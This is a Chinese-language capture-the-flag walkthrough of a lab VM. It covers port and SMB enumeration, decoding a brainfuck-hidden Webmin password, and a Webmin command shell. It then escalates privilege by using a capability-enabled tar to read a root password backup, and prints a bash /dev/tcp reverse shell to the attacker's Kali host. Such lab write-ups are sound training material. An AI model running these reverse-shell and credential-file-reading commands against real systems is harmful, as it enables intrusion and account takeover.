kali IP地址为192.168.127.139
靶机 IP地址为192.168.127.141
目录
一、信息搜集
1.1、扫描主机口
1.2、端口扫描
探测主机开放的端口服务,我们发现开放了 80 445 10000 20000等端口
1.3、目录扫描
目录扫描,发现没有什么
查看nmap扫出的端口相关URL,发现只有10000、20000端口是一个登录页面,猜测应该会有Webadmin的漏洞
2、枚举漏洞
挖掘思路——根据端口开放情况查找对应服务的漏洞
2.1、枚举信息
文件共享服务可以使用 enum4linux来枚举信息
如上图,发现得到用户名:cyber
2.2、端口分析
紧接着我们进行端口分析,访问80端口:是一个apache默认页面,我们发现没有什么东西,可以
查看网页源码,发现一串秘文,找到突破口
192.168.127.141:80
很明显是 brainfuck 加密的数据,搜索对应在线解密网站,得到一串数字,百度找了在线解密,没有合适的,这里我用的网站是
https://tool.bugku.com/
<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->
用户名: cyter 密码:.2uqPEfj3D<P'a-3
用户名: cyter 密码:.2uqPEfj3D<P'a-3
尝试去登陆 webadmin
发现10000端口没成功,20000端口成功登录
3、漏洞利用
3.1、利用webadmin漏洞
在这里找到了一个command shell(如下图标红的框的地方),发现能登陆后台,在网页上打开控制台,打开得到第一个flag
4、权限提升
4.1、寻找suid权限程序提权
在shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
没有发现(在 https://gtfobins.github.io/对比)
4.2、寻找Capabilities(功能)程序
在用户目录下查看文件可以发现一个二进制文件tar
在CTF 中每当看到二进制文件的副本时
都应该检查一下其 Capabilities(功能)和 suid 程序。
查询当前目录下 tar 文件的功能:getcap tar
还可以加参数-r 递归查询: getcap -r / 2>/dev/null,发现了2个文件
可以尝试查找一些敏感文件,使用tar读取
4.3、信息收集获取root密码
使用以下命令查询有pass关键字的文件
find / -name '*pass*' 2</dev/null
find / -name '*pass*' 2</dev/null
可以发现有一个备份文件是 root 用户以及组的,尝试使用 tar 压缩
./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak
./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak
获取密码:Ts&4&YurgtRX(=~h
Ts&4&YurgtRX(=~h
4.4、利用webadmin后台反弹shell提权
在kali中开启监听:nc -lvp 6666
nc -lvp 6666
在 webadmin 后台,执行以下命令
bash -c 'bash -i >& /dev/tcp/192.168.127.139/6666 0>&1
bash -c 'bash -i >& /dev/tcp/192.168.127.139/6666 0>&1
'
切换root用户,输入密码
权限提升成功,完结!!!
总结:
整体来说该靶机难度比较简单,前面的信息搜集完了之后,可以先从webmin入手,想到两个CVE,一个不需要登录,验证不存在,另一个需要登录,又先放下,去挖80端。从80端口的源码中发现一个brainfuck加密的数据,解密后得到了一个密码。又去看samba服务,收集到一个cyber用户,以此为账号密码登录webmin 成功,另一个CVE也验证失败,最后从web后台界面找到一个 可以执行 command shell 的地方 反弹shell成功。
提权 依靠 cyber用户下 存在一个 具有可执行的root权限的 tar命令,又找到一个root的密码备份文件,以发现的tar命令压缩备份文件(.tar),又以当前用户的tar命令解压(tar)出该文件,权限就变为cyber用户的权限,读取到密码,su root 提权成功。